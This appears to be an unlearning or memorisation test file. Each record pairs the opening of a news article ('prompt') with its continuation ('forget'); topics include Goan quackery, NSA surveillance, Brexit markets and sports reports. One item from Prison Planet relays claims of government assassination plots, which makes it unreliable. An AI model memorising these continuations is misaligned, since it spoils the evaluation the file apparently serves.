ministry and forgotten about.\"In the meantime, the number of quacks-from hakims with no education at all, to qualified vaidyas with an affinity for prescribing allopathic medicines-has increased,\" claims Karpe. \"Very often, the quacks are unintentionally bred by doctors, when they employ graduates and even school dropouts as 'helpers',\" he adds. Many quacks he has come across were originally compounders or paramedics who have worked in Maharashtra and Karnataka, who after a few years' 'experience', moved to Goa to open their own 'clinics'.A senior surgeon, who recently spoke at a medical conference, also hinted at a 'nexus' between top corporate hospitals and quacks in Goa. \"The problem of quackery is still prevalent because the medical fraternity itself shelters these people, who help their business by referring their 'untreatable' patients to corporate specialists,\" he said, pointing out that the patient is ultimately the scapegoat.\"The most common hazard of being investigated and treated by a quack is wrong diagnosis and wrong medication. The quacks prescribe steroids that initially show a miraculous benefit to the patient, without really treating"}
{"prompt": "Brussels reacted furiously on Friday to claims that British and US intelligence agencies spied on the European commissioner in charge of sensitive antitrust cases, including one involving Google. Joaqu\u00edn Almunia, the EU's competition commissioner, has access to highly confidential commercial information: he is charged with breaking up cartels, approving mergers and imposing fines on those who break the bloc's antitrust rules. (Read more: After 'cataclysmic' Snowden affair, NSA faces winds of change) The claim that Mr Almunia was on the surveillance list of UK and US spy agencies follows news earlier this year that Angela Merkel, German chancellor, had also", "forget": "had her private phone calls targeted. Mr Almunia was said by European Commission officials to be \"upset\" by the claims, with particular anger in Brussels being aimed at Britain, whose relationship with the EU executive has grown tense. Although he did not address the issue specifically at his end-of-year press conference on Friday, President Barack Obama acknowledged that the US \"would have to provide more confidence to the international community\" about its spying. \"Just because we can do something doesn't mean we necessarily should,\" said Mr Obama. (Read more: NSA advisory panel: More spying, more 'transparency' ) The news about Mr Almunia is especially embarrassing, as the US has criticised countries like China for economic espionage while insisting it does not itself spy for the commercial benefit of domestic companies. An expert panel appointed by the White House to review US intelligence, which reported to Mr Obama this week, said programs should not be directed to \"illicit or illegitimate ends, such as the theft of trade secrets or obtaining commercial gain for domestic industries\". Mr Almunia was at the eye of the eurozone storm as EU monetary affairs commissioner before switching in 2010 to the competition brief, where he has presided over antitrust cases involving Google and Microsoft and cracked down on banks suspected of rigging global interest rate benchmarks. In other prominent cases involving US companies, the Spanish politician blocked the NYSE's planned takeover of Deutsche B\u00f6rse and UPS's bid for TNT. His scrutiny of state support for the UK's planned Hinkley Point nuclear plant has been a matter of keen interest to the British government. (Read more: World of spycraft: NSA infiltrates gamers' data) A commission spokeswoman said: \"This is not the type of behaviour that we expect from strategic partners, let alone from our own member states.\""}
{"prompt": "Cycling confusion blamed on Twitter fans: Officials say BBC's shambolic coverage of road race was because spectators used site as riders passed Commentators repeatedly made mistakes during coverage of road race contested by British cycling stars Mark Cavendish and Bradley Wiggins Fans slammed BBC coverage as commentators struggled with a lack of timing information during the race Gymnastics coverage criticised for ignoring impressive displays by British competitors BBC insists problems are beyond its control as it relies on pictures provided by the Olympics' own broadcasting company The BBC\u2019s shambolic television coverage of the men\u2019s road cycle race was yesterday blamed", "forget": "on spectators using Twitter as the athletes passed. Olympic officials said this had jammed the network used to provide crucial race timing and positional updates to broadcasters from the athletes\u2019 bikes. One million spectators turned out to watch the race on Saturday, one of the few unticketed events in the Games. Scroll down for video Problems: The BBC has apologised for its coverage of the men's road cycling race, in which Mark Cavendish (left) was riding for Great Britain Celebration: Kazakhstan rider Alexandr Vinokourov holds his arms aloft as he crosses the finish line to win gold. BBC commentators seemed unsure about which cyclists had won medals But viewers at home were left baffled, with many criticising the BBC for confusing and ill-informed commentary by a team including British cycling greats Hugh Porter and Chris Boardman, as well as presenter Jill Douglas. Fans were left clueless about timings and positions on the course, and even for a while after the race ended, it was unclear who had won the bronze medal. One viewer complained on Twitter: \u2018Horrible BBC coverage of the Olympic cycling road race. Erratic time splits, wrong names and inaccurate position calls. Frustrating.\u2019 Another posted: 'The #olympics2012 cycling road race coverage contained literally the worst commentary I have ever heard. Embarrassingly bad coverage.' Colin Lynch, an Irish Paralympic cycling world champion, tweeted: \u2018If you\u2019re watching cycling for the first time today on TV, I promise \u2013 it usually has much better coverage and commentary. Don\u2019t be put off.\u2019 Not our fault: Presenters Gary Lineker (left) and Jake Humphrey (right) defended the BBC, tweeting that the problems were beyond the broadcaster's control Defence: Jake Humphrey took to Twitter to respond to complaints by viewers Apology: Cycling commentator Chris Boardman, who won gold at the 1992 Olympics in Barcelona, said"}
{"prompt": "IT WAS a tough round to be an inside midfielder with many deserving engine-room players missing out on selection in this week's Team of the Week, brought to you by Accor Hotels. The ones that could not be ignored were Matt Crouch, Dayne Beams and Luke Parker, while Stephen Coniglio and Dan Hannebery snuck in but had to line up on the wings. Unlucky to miss out were the likes of Marc Murphy, Nathan Jones, Luke Shuey and Tom Rockliff. Jasper Pittard, Elliot Yeo and Zac Williams were edged out of a backline that featured a couple of young guns", "forget": "and a few experienced defenders, including Lachie Henderson and Jordan Lewis, who played his best game for the Demons. Harry Taylor's goal-kicking heroics in the absence of Tom Hawkins gave him the nod, while Josh Kennedy locked himself into the full forward position \u2013 and possibly the Coleman Medal with six goals. Robbie Gray and Ben Reid missed out, with Cam Pedersen and Lewis Taylor doing enough to pinch the opposite pockets. The social media head-to-head went the way of Lance Franklin, who easily accounted for Josh Jenkins with 67 per cent of the Twitter vote going the way of the big Swan. \u2022 Nine things we learned from round 21 ANDREW McGRATH (Essendon) \u2013 Not only kept Eddie Betts goalless and well below his usual influence, but had 25 disposals, took eight marks and had five rebounds in an impressive game. JEREMY McGOVERN (West Coast) \u2013 Solid in defence for the Eagles with 20 disposals at 80 per cent efficiency. Also took 11 marks and had 11 intercept possessions against the Blues. LUKE BROWN (Adelaide) \u2013 Held Essendon's danger man Anthony McDonald-Tipungwuti goalless and to just eight touches while amassing 17 disposals and four marks himself. JAMES SICILY (Hawthorn) \u2013 The feisty backman had 12 intercept possessions from his 27, took nine marks and had six rebounds, which saw him only just get the nod from teammates Luke Hodge and Jack Gunston. LACHIE HENDERSON (Geelong) \u2013 Led the competition (equal with Michael Hibberd and Sicily) for intercept possessions with 12. Staged a stingy defence along with Zach Tuohy, Andrew Mackie and Tom Lonergan, and took eight marks with five rebounds. JORDAN LEWIS (Melbourne) \u2013 Along with Nathan Jones, was a steadying influence for the Demons when the game was on the line. Had 25 touches and took seven marks,"}
{"prompt": "Coding Contest Byte: The Square Root Trick Cosmin Negruseri 20 iulie 2012 20 iulie 2012 We're starting a series of articles describing tricks useful in programming contests. Please keep the comments in English. Being flexible and easy to code, the square root trick is pretty popular in the Romanian programming contests community. It even has a name: \"jmenul lu Batog\" which means Batog's trick :). Bogdan Batog introduced it to a few high school students more than ten years ago and the trick entered romanian coding contest folklore. The idea is that we can use bucketing or a two level", "forget": "tree as some people call it to improve naive data structures or algorithms. The square root part appears when we minimize the function n/x + x , we'll see more about that later on. Let\u2019s check out a few problems that explain how the trick works. Range Sum Given A, an n elements array, implement a data structure for point updates and range sum queries: - update(i, x): A[i] := x, - query(lo, hi) returns A[lo] + A[lo+1] + .. + A[hi]. The naive solution uses an array. It takes O(1) time for an update and O(hi - lo) = O(n) for the range sum. A more efficient solution splits the array into length k slices and stores the slice sums in an array S . The update takes constant time, because we have to update the value for A and the value for the corresponding S . The query is interesting. The elements of the first and last slice (partially contained in the queried range) have to be traversed one by one, but for slices completely contained in our range we can use the values in S directly and get a performance boost. Here is an update example: In update(6, 5) we have to change A[6] to 5 which results in changing the value of S[1] to keep S up to date. query(2, 14) query(2, 14) = A[2] + A[3]+ (A[4] + A[5] + A[6] + A[7]) + (A[8] + A[9] + A[10] + A[11]) + A[12] + A[13] + A[14] = A[2] + A[3] + S[1] + S[2] + A[12] + A[13] + A[14] = 0 + 7 + 11 + 9 + 5 + 2 + 0 = 34 def update(S, A, i, k, x): S[i/k] = S[i/k] - A[i] + x A[i] = x def query(S,"}
{"prompt": "House Republican appropriators are scaling down an emergency funding bill to address the surge of child immigrants crossing the border. Just three days before the House\u2019s August recess is set to begin, Appropriations Committee Chairman Hal Rogers (R-Ky.) is in the process of drafting limited legislation that would provide less than $1 billion in funds and through only Sept. 30, aides said. ADVERTISEMENT That\u2019s a far cry from the $3.7 billion requested by the White House, and less than half the amount in $2.7 billion bill Senate Democrats have written. The differences suggest it will be tough to get a", "forget": "final bill to President Obama\u2019s desk and that Republican leaders are more focused on winning approval from House conservatives to ensure a bill is approved by the lower chamber. As recently as last week, Speaker John Boehner John Andrew BoehnerEx-GOP lawmaker joins marijuana trade group Crowley, Shuster moving to K Street On unilateral executive action, Mitch McConnell was right \u2014 in 2014 MORE (R-Ohio) said the legislation would likely provide about $1.5 billion and last through the end of 2014. Republicans are making the changes to try to win over conservatives who are reluctant to give the Obama administration any new funding. Most Democrats are expected to oppose the measure. The last-minute tweaks open what could be a frantic final week on the border bill before lawmakers leave town. Under House Republicans\u2019 own rules, legislation must be publicly available for at least three calendar days before a floor vote. That means a bill must be released by Tuesday at 11:59 p.m. at the latest for a vote by Thursday, the last day the House is scheduled to be in session. House GOP leaders could break the rule, but that might spark disapproval from conservatives, who are wary of bringing up a bill to address the surge of unaccompanied child minors crossing the border in the first place. Leadership would likely get heat from members who want sufficient time to review a lengthy appropriations bill. \u201cI don\u2019t like big bills,\u201d said Rep. Louie Gohmert Louis (Louie) Buller GohmertRepublicans force House subcommittee to adjourn during hearing on climate change Trump met with group led by Ginni Thomas at White House: report House passes bill expressing support for NATO MORE (R-Texas). \u201cThe one thing I\u2019ve learned in my time here in the House is that, when you hear the word \u2018comprehensive,\u2019 what it"}
{"prompt": "Ireland 24 France 9 The scoreline takes some believing. So too the performance. To lose their two most important players, their talisman and their leader, and then respond to put France away handsomely, also takes some beating given Ireland\u2019s history at World Cups. The mutual love-in when the players returned moments after the end was entirely justified. But despite losing first Johnny Sexton at the end of the first quarter and then Paul O\u2019Connell on half-time, no blow rocked this Irish side. Phenomenal, unyielding mental strength and unquenchable spirit, helped by an umbilical link with a raucous Irish crowd which", "forget": "had the Millennium Stadium rocking, ultimately devoured a blunt, one-dimensional France. The collective, as ever with this Ireland, amounted to more than the sum of the individual parts. And in the face of a ferociously physical French assault, Irish players kept looking for what little daylight there was in the thick blue line, kept clearing out, kept tackling and, in a game where line breaks were like hen\u2019s teeth, managed a couple before drawing strength from an improved scrum in the endgame. Heroes nonetheless abounded, none more than Ian Madigan, who epitomised this team\u2019s mental strength with the assuredness and daring of his running and kicking game, while Iain Henderson somehow made light of losing O\u2019Connell with his leg-pumping in contact. Others, such as Rory Best and Devin Toner, have rarely played better, the entire back-row rose to the occasion with big, big games, as did Conor Murray and the immense Robbie Henhsaw. But there were no weak links in the chain. Ireland\u2019s world appeared to fall in before the 25-minute mark when Sexton was tackled hard by Louis Picamoles, and felt the full force of the number eight\u2019s shoulder. Despite the ferocity of the hit, it appears Sexton had suffered a groin injury. Nearing half-time Ireland suffered another body blow, and a huge psychological one, when O\u2019Connell was stretchered off after the end of the first-half with what seemed like a serious hamstring injury. O\u2019Connell tried to get to his feet, but couldn\u2019t. Given a rousing reception, he managed a one-hand wave through his pain and crushing disappointment as he was stretchered off, but it was a cruel way to see his test career come to an end. Ireland would also lose Peter O\u2019Mahony, who had a towering match, clearing out, poaching, tackling and counter-rucking. Thierry Dusautoir\u2019s crunching hits"}
{"prompt": "A sea of red washed over global financial markets on Friday after Britons' shockingly voted to Brexit the European Union. The pound fell to its lowest point in 31 years, the Canadian dollar lost more than a cent and stocks tumbled. The Toronto Stock Exchange dumped 239.50 points to close at 13,891.88. On Wall Street, the Dow Jones industrial average had its worst day since August, dropping 610.32 points, or 3.4 per cent, to 17,400.75 in heavy trading Friday. The Standard & Poor's 500 index fell 75.91 points, or 3.6 per cent, to 2,037.41. The Nasdaq composite sank 202.06 points,", "forget": "or 4.1 per cent, to 4,707.98 for the market's the worst fall since 2011. \"The initial financial market reaction was especially sour, mostly because the market had become so convinced that Remain would win and not so much because it's a massive negative for the outlook,\" said Douglas Porter, chief economist at BMO Capital Markets. \"We're headed into a rough week,\" said Karl Schamotta, of Cambridge Global Payments. Uncertainty over the vote results sent the British pound on a wild ride. Just after polls closed Thursday, when the Remain side was presumed to have won, it rose to its highest point of the year at $1.50 US. But as the results came in, the pound tumbled more than 10 per cent to $1.3230, its lowest level in 31 years. It later regained some lost ground to trade around $1.3679. That swing, to its lowest level since 1985, marked the biggest one-day move in the history of the modern pound, shocking financial markets, as pollsters and forecasters had almost uniformly predicted a narrow victory for the Remain side. Canadian-born Bank of England governor Mark Carney moved quickly to try to calm the nerves of investors. Mark Carney assures central bank will provide 250 billion British pounds 0:53 \"We are well prepared for this,\" Carney said. \"The Bank Of England will not hesitate to take additional measures as required.\" That wasn't enough to save the pound, however, as most world currencies slumped with investors rushing to the safety of the U.S. dollar. At one point, the Canadian dollar was down by more than 1.5 cents, which would have been its worst one-day performance since 2010. The loonie ultimately finished with a loss of 1.37 cents, ending at 76.93 cents US. The British pound sold off heavily after polls closed and it emerged"}
{"prompt": "The Chaplin fan club in Adipur has more than 200 members (Photos: Sanjoy Ghosh) A small town in the western Indian state of Gujarat is an unlikely haven for Charlie Chaplin impersonators. The BBC's Soutik Biswas travelled to the town of Adipur to find out why. In the rising heat of a flaming Indian summer, more than 100 people have gathered in a small town in Gujarat to celebrate Charlie Chaplin's birthday. There are girls and boys, men and women. They are young and old, fit and feeble. They have all trooped out into the streets of Adipur dressed up", "forget": "like the legendary actor's tramp - toothbrush moustache, bowler hat, scruffy black suit, cane. What binds them is a love of Chaplin's cinema - most are members of the Charlie Circle, a local fan club which has been celebrating the actor's birthday every April since 1973. I thought, is Chaplin an actor or a magician? I fell off my seat laughing in the darkness Club founder Ashok Aswani In pictures: India's Chaplins Out on the streets, a colourful party fuses Chaplin worship with Indian song and dance. Scores of impersonators imitate the tramp's bow-legged dance walk and waddle with mixed results. Then they begin jumping up and down to Bollywood songs sung by a portly local singer and pumped out from crackling speakers strung on top of a rickety mobile music cart. Worship In the middle, girls togged out in colourful local costumes swirl around doing the garba, a popular local dance. A couple of camel-drawn carts bring up the rear. One is packed with toddler Chaplin impersonators. In the other, a small statue and a big poster of the actor are \"worshipped\", complete with a chanting Hindu priest and burning joss sticks. The Chaplin fan club opened in 1973 \"The tramp is dead, long live the tramp,\" cries Kishore Bhawsar, a 52-year-old bus conductor and fan club member who has composed a paean to his favourite actor. Mr Bhawsar says his life changed after watching The Gold Rush, the 1925 comic gem featuring Chaplin chasing fortunes in the icy wilderness of Alaska. \"Chaplin absorbs grief and makes you laugh. He said, 'I walk in the rain to hide my tears.' He was a poet,\" Mr Bhawsar shouts above the din. The gathering roars in approval, as the procession snakes through the town while bystanders gape and traffic comes to"}
{"prompt": "Lea Heitfeld and Ben Stern. (Courtesy of Lea Heitfeld) When the Nazis ripped his family from their home in Poland, Ben Stern survived the ghettos and the concentration camps by never losing faith in human kindness. So now, at the end of his life, the 95-year-old has found an almost perfect antidote to how he was treated by the Nazis: Opening his California home to one of their descendants. His roommate, Lea Heitfeld, is a 31-year-old German student at the Graduate Theological Union in Berkeley, whose grandparents were active and unrepentant members of the Nazi Party. Rather than shy away", "forget": "from her family\u2019s history, it has inspired her to learn about Jewish people and educate others about their religion and what they endured during the Holocaust. She\u2019s even getting her master\u2019s degree in Jewish studies. Welcoming Heitfeld, the kin of the very people who brutally forced him from his childhood home, to live as his roommate while she finishes her degree feels like \u201can act of justice,\u201d Stern said in an interview. \u201cIt was the right thing to do. I\u2019m doing the opposite of what they did.\u201d There is much about their living situation that defies norms: the sizable generation gap, the gender divide and, of course, the fact that they\u2019re a Holocaust survivor and the granddaughter of Nazis. And yet they\u2019ve both found they have so much to give each other. A photo clipped from a newspaper from Helen and Ben Stern\u2019s arrival in America in May 1946. (Courtesy: Charlene Stern) Heitfeld provides companionship to Stern, whose wife of more than 70 years recently went into a nursing home because of her worsening dementia. In the evenings, the unlikely pair watch TV together, usually the news. They have dinner together almost every night, and snack on herring salad and crackers before their meal \u2014 a mutual favorite. They have long conversations about history and current events and he tells her stories of his life in Poland before the war. Last semester, Stern, who never went to high school or college, audited a graduate class with her, and they walked together to campus every Thursday night. For Heitfeld, Stern\u2019s friendship is the rarest of gifts \u2014 an insight into human resiliency and compassion. \u201cThis act of his opening his home, I don\u2019t know how to describe it, how forgiving or how big your heart must be to do that, and"}
{"prompt": "Constance Wu, the actress best known for playing the matriarch of the Huang family in ABC\u2019s television series Fresh Off the Boat, spoke about what being Asian American means, her role in the sitcom and her opinions about Hollywood typecasting Tuesday night in Bovard Auditorium. The Asian Pacific American Student Association hosted the event, which was part of the signature speaker event for its 2016 Asian Pacific American Heritage Festival. Fresh Off the Boat, a show run by School of Cinematic Arts alumna Nahnatchka Khan, is one of the few television series on a broadcast network to feature a predominantly", "forget": "Asian cast. The series is based on the memoir of the same name by Eddie Huang. In 2014, Wu was cast as Jessica Huang, Eddie\u2019s pragmatic mother who wants her children to be successful and also keep in touch with their Chinese heritage. The conversation began with Wu talking about how she got involved in acting from a young age and how her upbringing in Richmond, Virginia, influenced her to pursue a degree in acting at the State University of New York-Purchase. \u201cMy friends started doing plays \u2026 and when I became a teenager, I started to think more about it as a career,\u201d Wu said. \u201cTheater people are like open-minded family people, where people are encouraging creativity, art and all these other things. It was a safe thing to try out as a kid.\u201d Wu also talked about how her childhood contrasted with the upbringing Eddie Huang portrays in his novel. \u201cI had a different experience than he did,\u201d Wu said. \u201cRacism was not a thing in Richmond \u2026 our neighbors were really open and inviting \u2014 baking muffins and inviting us to parties.\u201d When asked why there aren\u2019t many Asian Americans on television or in movies, Wu explained that there was racism in casting studios. \u201cWe have our ideas of what romantic ladies look like,\u201d Wu said. \u201cWhy can\u2019t an acne-ridden girl or a fat girl be cast in the role for The Notebook?\u201d Wu emphasized that this institutionalized racism unfairly stigmatized minorities, correlating this to the portrayal of foreign accents. \u201cHollywood has made the French accent a sexual thing and the Chinese accent a clowny thing,\u201d Wu said. \u201cThere\u2019s nothing shameful about your heritage, but Hollywood has made it shameful.\u201d Despite all the racism placed upon Asian-American actors, Wu said that she has not always been typecast"}
{"prompt": "Game of Thrones and The Lord of the Rings are set in fantasy worlds, so why does everybody speak with a British accent? A lot of British people will not have heard of Game of Thrones. This tale of family strife and royal intrigue in a fantasy world called Westeros has been a big hit on HBO in the US. Millions watched the first series, justifying the movie-like budget poured into the production. The second series of the show, which starts on HBO on Sunday, and Sky Atlantic on Monday, is the subject of much more hype in the US", "forget": "than in the UK. But while aimed at a US audience and adapted from the books of American author George RR Martin, Game of Thrones is entirely dominated by British accents. UK accents also dominate in The Lord of the Rings and the forthcoming Hobbit films. It contradicts the traditional stereotype of British accents cropping up mostly as bad guys and upper crust types in period drama. \"It's such an ingrained part of fantasy and science fiction that I'm a little surprised when those kind of characters don't speak in British accents,\" says Matt Zoller Seitz, TV critic for New York magazine and Vulture.com. \"In the fantasy realm they could have any kind of accent but British does seem to be the default.\" Image caption An American-accented Gandalf might not have pleased fans A British accent is sufficiently exotic to transport the viewer to a different reality, argues Seitz, while still being comprehensible to a global audience. The neutral Mid-Western accent is still what counts as \"normal\" in the US dominated entertainment industry. A British accent provides a \"splash of otherness\", when set alongside it. American viewers of Game of Thrones also get a coherent range of accents from all of the British Isles. Where is Tolkien's Middle Earth? JRR Tolkien gave differing explanations as to the setting for his story He described The Lord of the Rings as taking place in \"the North-West of the Old World, east of the Sea\" This has been interpreted by fans as being a link to north-western Europe and Britain in particular In the complex array of languages he created for the books, the influence of Old English, Old Norse, Gothic, Welsh and Finnish have all been identified Those from the north of the fantasy world tend to speak mostly with either northern"}
{"prompt": "Santa Monica does not have a housing crisis. The Southern Counties Association of Governments (SCAG) target for our City is 239 new units per year. This is a fair number that reflects our percentage of growth for the Southern California region. In the last three years we have approved an average of 253 new units per year. In addition we have another 1929 units (not counting 679 units in withdrawn projects) in the pipeline at various stages of approval processing. If only half of those projects go to term over the next three years we would have approved an average", "forget": "of another 321 units in the next three years or 1/3 more than our SCAG requirement. Simply stated we are already meeting more than our fair share of the region\u2019s housing demand in addition to all the other benefits our small city provides to the region. In fact, Santa Monica\u2019s population increase (2000-2010), which we can see everyday in our traffic overload, was over twice that of Los Angeles County (6.7% vs 3.1%). While housing is very expensive in Santa Monica, as it is in all beach communities, our median incomes are 20-25% higher than LA County\u2019s. Because of that, our city is actually more affordable to its residents than to the average citizen in LA County. For example, 56% of our property owners (1/4 of our population) pay more than 30% of their income for their housing, while 67% of the average Angelo homeowners pay that burden. Likewise 67% of our renters (3/4 of our population) pay that unreasonable burden, while 85% of Los Angeles County renters are similarly encumbered. Even though rent control is slowly being weakened, thanks primarily to our robust affordable housing program, which maintains 10-20% of the new units as deed restricted affordable units, affordability is still substantially protected in the future. In a relatively wealthy city, we have made Santa Monica comparatively more affordable than Los Angeles County. And remember, this was done in the depths of a recession on some of the most expensive land on the Westside. The ability to maintain affordability of our housing stock through the combined efforts of the City Council and staff, of the Rent Control Board and of affordable housing providers like Community Corp and of affordability advocates like SMRR to name just a few, is an incredible achievement. We can all be proud of this achievement."}
{"prompt": "Corsicana diaries The art of the small town The town Creative types are finding a haven in Corsicana, but can its charm survive? The visionary 100W founder saw potential in derelict building The concept Artist residency programs and the art of making art The town An artists\u2019 haven is born Creative types are finding a haven in Corsicana, but can its charm survive? An artist from southwestern England walks into an all-American diner in Corsicana. He sits at a table near the back with his guide, a 28-year-old Dallas artist named Kyle Hobratschk. Eva makes prints with a vintage ink", "forget": "plotter and is in town to study American patterns. The place is called Across the Street Diner, because the owner, Jimmy Hale, bought the building after opening a salon across the street. For years, it was the oldest continuously operating soda fountain west of the Mississippi, Hobratschk says. \u201cSoda fountain?\u201d Eva asks. This is his first visit to the U.S., and so far he\u2019s only had a brief visit to Dallas and two weeks in Corsicana. He has lots to learn about Americana, and where better than a retro diner dripping with nostalgia and greasy patty melts? Patrons at the Across the Street Diner in downtown Corsicana. (Photograph by Nan Coulter/Special Contributor) Eva is one of about two dozen national and international artists who have passed through Corsicana in the last few months as part of 100W, Hobratschk\u2019s new residency program. From Iceland and Scotland, Chicago and Baltimore, they\u2019ve come to this conservative corner of old-time Texas to get away from the big city, slow down and create art. What they find here, just 50 minutes from bustling Dallas, is a place with plenty of space and few interruptions. It started with a handful of Dallas artists and writers coming to visit but has turned into a full-blown happening here in Corsicana, and it\u2019s got some people asking \u2014 and only partly in jest: Is this becoming the new Marfa? \u201cWhen we were trying to do something, everybody agreed it starts with artists,\u201d said Hale, who helped build up downtown\u2019s economic core. \u201cThat\u2019s just part of the evolution of Corsicana.\u201d Corsicana was once a dusty downtown with empty storefronts, but is now coming to life again with new and revitalized work spaces. Leave the historic downtown district and there\u2019s still widespread poverty. Newcomers are still learning to coexist with lifelong"}
{"prompt": "What can be wrong with giving scholarships to the meritorious? A meritorious society is a just society, right? Giving money according to \u201cworth\u201d seems way better, ethically, than giving to the well-connected, or to those of a favored race or religion, right? Well, maybe. But then again, sometimes maybe not. The problem of law school merit scholarships is a complicated and nuanced one, especially for those who have not considered it at length. In brief, here are five background points underlying the ethical conundrum I will subsequently sketch out: Law Schools, like car dealerships, have list prices for their wares.", "forget": "Tuition charges for all law schools must be stated on their web sites and in their written materials, pursuant to regulators\u2019 (ABA, AALS) requirements. There must be some silly people out there who pay list price for their cars, I suppose, and there are certainly people who pay full tuition under the impression that that\u2019s what everyone pays. But in reality not everyone pays list price, and those who have done so are quickly disabused when they arrive at 1L. Law Schools always want to attract the \u201cbest\u201d students, and one way to attract them is to price discriminate, i.e., to offer discounts from list. \u201cBest,\u201d of course, is a concept with many possible denotations, and in days of yore American law schools tended to have diverse understandings of it. Today, though, U.S. News and World Report rankings are so influential tha they have become the cart driving the law school admissions horse. USNWR has homogenized our understanding of student value \u2013 Law School Admissions Test scores and undergraduate Grade Point Averages are the measures of student excellence. The higher the median LSAT and GPA scores of the admitted student body, the higher a law school\u2019s ranking will be (the two factors combined account for 22.5% of a school\u2019s ranking), and the higher the ranking, ceteris paribus, the better will be the jobs offered to graduates, the better paid will be its alumni base, the better will be the faculty lured to work there, and the better will be the students enticed to apply there. Rising ranking thus stimulates a \u201cvirtuous circle\u201d while falling ranking leads to a \u201cvicious circle\u201d that, if left unattended, can result what some fear to be a \u201cdeath spiral.\u201d Buying better students is one attempt to move from a vicious circle to a virtuous one."}
{"prompt": "Paul Joseph Watson Prison Planet Wednesday, April 2, 2008 The context of Ventura\u2019s warning was a discussion about new evidence concerning the assassination of Robert Kennedy, after it emerged that there were additional shooters to accused assassin Sirhan Sirhan. Former Minnesota Governor Jesse Ventura caused shockwaves during a national radio interview today when he warned Barack Obama to be wary of a potential assassination attempt, saying that the government would target any independent politician who got close to the White House. The last chapter of Ventura\u2019s new book, Don\u2019t Start The Revolution Without Me, is a fictional tale about an", "forget": "assassination attempt on his life following a run for President. The context of Ventura\u2019s warning was a discussion about new evidence concerning the assassination of Robert Kennedy, after it emerged that there were additional shooters to accused assassin Sirhan Sirhan. \"I believe very strongly that if an independent candidate like myself \u2013 a rogue \u2013 were to get into the President\u2019s race legitimately, if the polls looked like he had a chance to win, I believe that candidate would either be physically assassinated or would be assassinated credibility-wise or in some manner by our government because I do not believe they would ever allow a true independent or a citizen to become President of the United States,\" Ventura told The Alex Jones Show. \"I say this in all seriousness \u2013 watch out Barack Obama,\" he added. Ventura is not the first to warn of a potential future assassination attempt on Obama \u2013 British Nobel Prize winner Doris Lessing said Obama would be taken out if he became President in February. \"He would probably not last long, a black man in the position of president. They would kill him,\" Lessing told a Swedish newspaper. Princeton University political science professor-Melissa Harris-Lacewell echoed the same sentiment a month before, saying: \"For many black supporters, there is a lot of anxiety that he will be killed. It is on people\u2019s minds.\" \"You can\u2019t make a prediction like this \u2013 like he has a 50 per cent chance of getting shot.\" \"But the greater his visibility and the greater his access to people, there is a danger.\" Some speculated that Obama had been set up for an assassination attempt during a February 20 rally in Dallas, after it emerged that Secret Service gave the order to stop screening for weapons a full hour before the"}
{"prompt": "New rules aimed at cracking down on the mortgage market will result in 100,000 people failing a stress test of their finances, and about half of them will be blocked from buying a home. That's one of the major takeaways of a new report published Tuesday from Mortgage Professionals Canada, an industry group that represents 11,500 mortgage brokers, lenders and insurers. The federal government has moved seven times since 2008 to tighten rules surrounding the real estate market, and practically every time, the market has shrugged off tighter rules around areas like maximum debt loads and amortization periods. But new", "forget": "rules implemented in October could be different. Starting January, uninsured borrowers from federally regulated lenders must have their finances \"stress tested\" to ensure they would be able to pay off their mortgages if rates were higher than they are today. To do that, the lender must run a test assuming rates were two percentage points higher than they are right now, and see if borrowers would be able to pay off the loan. By the group's estimates based on the market today, \"18 per cent of mortgage borrowers who are stress tested, would fail the stress test.\" Since there's roughly 700,000 homes sold every year in Canada, and most of them involve some sort of mortgage. That means up to 100,000 buyers would fail the new stress test and be forbidden from buying the home they want at the price they want. William Dunning on the impact of new mortgage stress tests on Canadian housing markets 6:28 \"Perhaps 50,000 to 60,000 per year will be able to make a different purchase, albeit one that is less attractive to them,\" the group said. But \"perhaps 40,000 to 50,000 per year will be entirely removed from homeownership.\" The group says it doesn't object to the idea of a stress test in general, just that the current parameters are too rigid. Essentially, the mortgage group says running the numbers with rates that are two percentage points higher than they are today isn't realistic or helpful.. For starters, the majority of new buyers get a five-year fixed rate mortgage, which means if they lock in now. they would be immune from rate hikes until 2022. Currently, the average mortgage rate in Canada is 2.96 per cent, the report found. Even assuming rates are higher when they have to renew, the current stress test rules"}
{"prompt": "In a free market, consumer goods are remarkably heterogeneous. We don\u2019t just buy ketchup, we have to choose between regular, organic, reduced sugar, low sodium, and umpteen other variations. Just as importantly, we have to choose between Heinz, Hunts, Great Value, and other brands. It was John Henry Heinz, in fact, who became the first person to associate his name with the unadulterated processed foods he produced, allowing his product to be distinguished from competitors. By: Chris Calton This article first appeared at Mises.org The Economic Function of Branding Economically, though, name brands serve an important function. In Basic Economics,", "forget": "Thomas Sowell explains that brand names \u201care a way of economizing on scarce knowledge, and forcing producers to compete in quality as well as price.\u201d There may be no physical difference between Heinz and Great Value, and a consumer who believes this is the case will purchase the cheaper product. But if a consumer is not familiar with the latter brand, they have to weigh the cost benefit of a cheaper brand against the risk of getting an inferior product; with the brand name product, the quality is more certain. This has important implications on the black market. In the Soviet Union, for example, brands were done away with to reduce the heterogeneity of products. Soviet citizens circumvented this by learning to read barcodes to identify which products were produced in the superior factories. Branding has particularly important implications in the area of narcotics. When goods are made illegal, smugglers will continue to trade them, but the ability to establish brand consistency is suppressed. It would require a producer to survive the illicit trade long enough to establish this reputation, a means of conveying the information in the absence of open and legitimate advertisement, and some enforcement mechanism for distributors to prevent the alteration of the product. Attempts to economize on knowledge have been made in the black market, though. During the Vietnam War, Laotian General Ouana Rattikone ran a successful international opium ring. He produced \u201cNo. 3 heroin,\u201d which has three processing phases and normally has a purity of between 20-40 percent. His heroin, though, was consistently near 50 percent pure. Because this was a consistent, higher quality good, Rattikone established the trademark \u201c999\u201d for his heroin (taken from the 99.9 gold standard). Although his actual heroin was not 99.9 percent pure, the brand name was still associated with"}
